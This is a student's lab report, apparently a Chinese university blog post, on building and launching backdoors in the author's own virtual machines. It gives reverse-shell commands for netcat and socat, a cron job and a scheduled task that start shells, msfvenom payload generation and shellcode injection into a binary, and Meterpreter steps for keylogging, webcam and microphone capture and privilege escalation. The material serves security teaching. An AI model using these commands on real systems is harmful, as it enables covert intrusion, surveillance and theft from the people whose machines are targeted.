2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践

2018-2019 2 20165203 《网络对抗技术》 Exp2 后门原理与实践

实验内容

1.使用netcat获取主机操作Shell,cron启动 (0.5分)

2.使用socat获取主机操作Shell, 任务计划启动 (0.5分)

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告

基础知识问答

问题1:例举你能想到的一个后门进入到你系统中的可能方式?

  • 比如,我想在网上下载一个软件,软件的安装包可能带有后门程序,或者我的Win10系统有的漏洞还没有补丁,攻击者可能会利用漏洞来攻击,将后门程序注入到我的主机系统。

问题2:例举你知道的后门如何启动起来(win及linux)的方式?

  • windows系统上有一个定时任务,后门程序可以通过定时任务运行
  • 或者通过各种信息,诱惑用户点击运行(例如点击即可降价打折等等)

问题3:Meterpreter有哪些给你映像深刻的功能?

哇,既然提到这个问题,Meterpreter真的是细思极恐

  • 首先,能够开启靶机的摄像头,这真是太可怕了,真的会侵犯到个人的隐私;
  • 更可怕的是能够记录按键过程,如果电脑上有什么重要文件,那岂不是就很容易被窃取了,啧啧啧,So scareful!
  • 还有一点,提升用户权限!

问题4:如何发现自己有系统有没有被安装后门?

老实说,我做本次实验的杀毒软件都是关闭状态,因为在做第一遍实验时,注入到win10的socat.exebackdoor程序很快就被发现了,所以,平时还是打开杀毒软件比较好。

实验知识储备

常用的后门工具

  • 后门:不经过正常认证流程而访问系统的通道。
  • 后门的位置:
    • 编译器
    • 操作系统
    • 应用程序(最常见)
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序
  • 通俗说法:后门特指潜伏于操作系统中专门作为后门的一个程序;坏人可以连接这个程序;通过该程序可以远程执行各种指令;概念上和木马上有重叠

那么,坏人通常如何通过后门进入系统呢?

  • 首先,有可以充当后门的程序,例如
    • netcat系列
    • meterpreter系列
    • intersect系列
  • 然后将后门程序,放在要攻击靶机的系统里,当然这就要有些手段了,通常有
    • 正版软件故意被攻击,包含后门
    • 正版库文件中包含后门
    • 诱骗你下载操作的,比如
      • 安装包包含后门程序
      • 网上下载的特定文件包含后门文件
      • 甚至直接悄无声息地发送恶意程序或钓鱼链接给你
      • 自己贪图便宜,捡了个U盘,就用了,这里面可能包含后门程序。
      • 坏人攻击系统的漏洞,获得控制权,安装后门
  • 然后还得运行起来,通常手段也有很多
    • 开机自动启动技术(电脑开机时,后门程序也就启动了)
    • win的定时任务(设置每个时间段的固定时候,后门程序就启动了)
    • Linux中的cron
    • 后门程序伪装成常用软件,诱惑用户点击,一点击,后门程序就运行了。
  • 后门程序当然靶机要检测,所以,后门程序还要做到不被靶机的恶意代码检测程序发现,通常用到的技术有:
    • 反弹式连接
    • 加密连接
    • 隧道技术

说了这么多,我们常用的后门程序有哪些呢,也就是我们实验所使用的后门程序又有那些呢?

  • netcat
    • 底层工具,进行基本的TCP和UDP数据收发
    • 常与其他工具结合使用,起到了后门的作用。
    • Linux一般自带netcat,通常用作nc,可通过man netcatman nc可查看说明。

下面我们就来尝试一下如何使用netcatnc吧。

尝试一 用nc或netcat获得远程主机的Shell(win7攻击Linux)

在这里Windows系统我选择win7,Linux系统我选择win10。

  1. 首先,利用ipconfig查看windows的主机IP,如图所示,我的主机IP为192.168.154.139

  2. 下载好ncat,进入目录,按windows + R组合键打开cmd.exe,输入ncat.exe -l -p 5203来监听5203端口,如图所示。

  3. 此时,在Linux中,让Linux反弹连接win7,输入命令nc 192.168.154.139 -e /bin/sh,如图所示。(该IP为win的IP)

  4. 接下来,我们可以发现,我们在windows端成功获得了Linux端的shell终端。

尝试二 Linux获得windows终端(Linux攻击windows)

  1. 首先,我们用ipconfig获得Linux的ip地址,ip为192.168.154.143。如图所示。

  2. 随后,Linux通过输入命令ns -l -p 5203

  3. Windows反弹连接Linux,在Windows终端下的ncat目录,输入ncat.exe -e cmd.exe 192.168.154.143,如图所示。

  4. 这时,我们就会看到Linux终端下出现了Windows的终端。尝试一下,可以查看windows下的文件了。

尝试三 使用nc传输数据

首先,我们先来了解一下nc传输数据的格式:

  • 目的主机监听:nc -l 监听端口 > 要接收的文件名
  • 源主机发起请求:nc 目的主机ip 目的端口
  1. 在Windows下发起监听,同样用ncat.exe -l -p 5203,如图所示。

  2. Kali Linux下连接通过命令nc 192.168.154.139 5203连接到Window7。

  3. 建立连接后,就可以传输信息了,如图所示。

Windows和Linux下传输文件。

了解cron

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

了解socat

  • socat是ncat的增强版,使用格式是socat <option> <adress> <adress>, 其中两个是必选项,而
  • socat的两个基本功能是建立了两个双向的字节流,数据就在其间传输,参数代表了其中的一个数据流向,数据有很多种类型,自然就需要选项参数
  • socat的windows下载路径为https://gitee.com/wildlinux/NetSec/attach_files

Meterpreter(根据老师上课所讲补充)

后门是一个程序,本来是有人编写一个程序,大家拿来用,但是有一些厉害的人,想编写一个平台能生成后门程序。这个平台,把后门的

    • 基本功能(基本连接、执行指令)
    • 扩展功能(搜集用户信息、安装服务等功能)
    • 编码格式
    • 运行平台
    • 运行参数

等全部做成零件或可调整的参数。用的时候按需要的组合,就可以生成一个可执行文件。

常见的平台:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

了解更多关于Meterpreter平台的内容,可以参考https://www.freebuf.com/articles/system/53818.html

根据使用MSF生成的shellcode打造免杀playload,可以了解到,我们可以用msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f c(IP为windows7的IP)生成shellcode, 注入到可执行文件里,执行时可以攻击主机。

我们本次实践就是利用Meterpreter平台生成一个后门程序,然后攻击靶机。

实验过程

任务一 使用netcat获取主机操作Shell,cron启动

  1. 在windows系统下,输入命令ncat.exe -l -p 5203监听5203端口。

  2. crontab -e完成一条定时任务。

  3. 打开文档后,在最后一行添加36 * * * * /bin/netcat 192.168.154.139 5203 -e /bin/sh(windows的IP),意思是Kali Linux系统在每个小时的第36分钟反向连接windows的5203端口:

  4. 当时间为21:36分时,监听成功,windows处出现了Kali Linux终端,如图所示(当我在终端输出命令的时候,时间已经过了1分钟,所以,截图上显示的时间是21:36分)。

任务二 使用socat获取主机操作Shell, 任务计划启动

本次实验我选的windows系统是win10系统。我查了一下我的win10主机的ip为 192.168.1.110 ,如图所示。

  1. 在win10系统下,右击左下角windows的图标,选择计算机管理。

  2. 任务计划程序处创建任务,填写任务名称(这个名称是自己取的,我的是xyx)。

  3. 然后点击触发器来新建一个触发器。开始任务选择工作站锁定时, 设置范围为所有用户,然后点击确定,触发器就创建完了。

  4. 然后,在操作->程序或脚本中输入我们之前下载的socat.exe的路径,我直接把它放在了C盘----C:\用户\xiao\socat\socat.exe,在添加参数一栏中添加tcp-listen:5203 exec:cmd.exe,pty,stderr,这个命令的作用是将cmd.exe绑定到端口5203上,同时把cmd.exe的stderr重定向到stdout上

  5. 任务创建完毕后,迅速按Windows+L锁定计算机,再次打开时,我们可以查看到自己的任务,按右键,使其启动,状态变为正在运行状态。

  6. 在Kali Linux环境下输入命令socat - tcp:192.168.1.110:5203,这里的第一个参数代表-代表标准的输入输出,第二个流连接到了windows10主机上的5203端口,此时,可以发现一个Kali Linux成功获得了一个cmd.exe,这个cmd.exe正是我们windows10的终端。

任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 在Kali Linux端,我们输入msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.139 lport=5203 -f exe > 20165203.exe(windows7的IP地址),将生成的shellcode注入到后门程序20165203_backdoor.exe中。

  2. 在Windows中使用ncat.exe -lv 5203 > 20165203_backdoor.exe查看其连接状态,如图所示状态为连接正常。

  3. 在Kali Linux中输入nc 192.168.154.143 < 20165203_backdoor.exe(顺序变,箭头也要变),将20165203_backdoor.exe的后门程序注入到Windows7中。如图所示,收到Connection的连接,说明传输成功。

    并查看了自己在ncat文件夹中注入的20165203_backdoor.exe程序,保证大小为73K,如果为0K,说明传输未成功。

  4. 我们在Kali Linux的终端上新打开一个终端,输入msfconsole进入msf控制台。

  5. 然后,我们输入use exploit/multi/handler使用监听模块,设置payload

  6. 使用和生成后门程序相同的payload(在第一步那里),输入命令set payload windows/meterpreter/reverse_tcp

  7. 使用set LHOST 192.168.154.139(ip为Kali的IP)来设置payload的IP。

  8. 使用set LPORT 5203来设置payload的端口号。

  9. payload设置完成后,我们来使用exploit开始监听。

10.Kali Linux已经开始监听,此时,我们回到Windows7终端,退出上一次的命令,执行20165203_back_door.exe,再看Kali Linux的终端,我们发现Linux获得了远程控制的Windows的shell。

任务四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 接着上个内容,我们可以使用record_mic截获一段音频,如图所示。

  2. 使用webcam_snap可以使用摄像头进行拍照。(因为在晚上做的实验,穿着睡衣,就不拍本人了,嘻嘻)

  3. 使用screenshot可以截屏。

  4. 使用keyscan_start指令可以记录下鼠标击键的过程,使用keyscan_dump可以读取击键的记录

  5. 使用getuid查看当前用户,使用getsystem进行提权。

任务五 (可选加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

同学们都推荐江智宇学姐的博客,通过学习学姐总结的博客,我了解到

在关于msfconcole的参数中:

-p 是指定用于特定的payload

然而,我们需要的payload的功能是获取反连接靶机的shell,学姐的博客中给出了我们需要的payload是linux/x64/shell_reverse_tcp,

后面,我们需要的是LHOSTLPORT,然后,我们还需要-x来指定我们需要注入的文件,为/home/20165203/exp2/pwn2.

-f 指定我们文件的输出的格式,注入到pwn2中,pwn2是一个可执行文件,所以选elf格式。

所以,我们的命令格式为

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.154.147 LPORT=5203 -x /home/20165203/exp2/pwn2 -f elf > pwn2_2

输入上述命令后,生成被注入shellcode的可执行文件pwn2_2,如图所示。

之后,我们可以将pwn2_2注入到windows7中,调用msfconcole来监听,步骤与任务三相同了,做好了,就是如图所示格式啦。

实验中遇到的问题及解决方法

我遇到的问题零零散散,多数都是因为自己的智障犯下的错误,不过,我感觉有的问题还是很值得供大家参考借鉴的。

Q1:使用webcam_snap使用win7摄像头时,无法使用,提示141错误,如图所示。

A1:因为win7是在虚拟机中的,所以,我们要从问题的根本下手。

  • 首先,我们想到可能是win7虚拟机里压根儿就没有摄像头,因为想摄像头这样的USB设备本来就不可能同虚拟机和本机一起使用的,我们可以尝试查看一下win7的设备管理器,如图进入win7里面的控制面板,查看设备管理器。我们可以看到,里面根本就没有
    图像设备,自然就没有摄像头了。

  • 接下来,我们在虚拟机中设置,把USB端口连接到虚拟机上来,如图所示,要选择连接主机哦。

  • 接下来,我们在win7中刚才的设备管理器中查看,就能发现有图像设备了, 就可以“偷窥”了,哈哈哈哈。

Q2:昨晚刚做完本次实验,结果今天打开Kali虚拟机时出现了如图所示问题,妈呀,不会是搞实验搞出问题了吧。

A2:结果,我发现我昨晚电脑里的socat.exe还在运行着,占用着虚拟机,于是,我索性打开电脑里的任务管理器,将里面带有.vm的进程全部关掉,然后再开启我的电脑管家,杀了一遍毒,Kali得以打开,看来平时还是要常打开杀毒软件。

实验感想与体会

这次实验真的很有激情,仿佛自己是个黑客,一步一步,当然是自己攻击自己,哈哈,当达到摄像头拍摄的效果时,自己仿佛开启了新时代的大门,成就感颇升。

感谢此次我们班课题负责人,也就是我们寝室长本次实验的帮助了,我们可以搞一个黑客组合了,哈哈。

不过,我觉得可以在今后的实验中,尝试用其他常见的后门程序来练习,更加熟悉后门原理。

posted @ 2019-03-24 11:03  I~Justice  阅读(302)  评论(2编辑  收藏  举报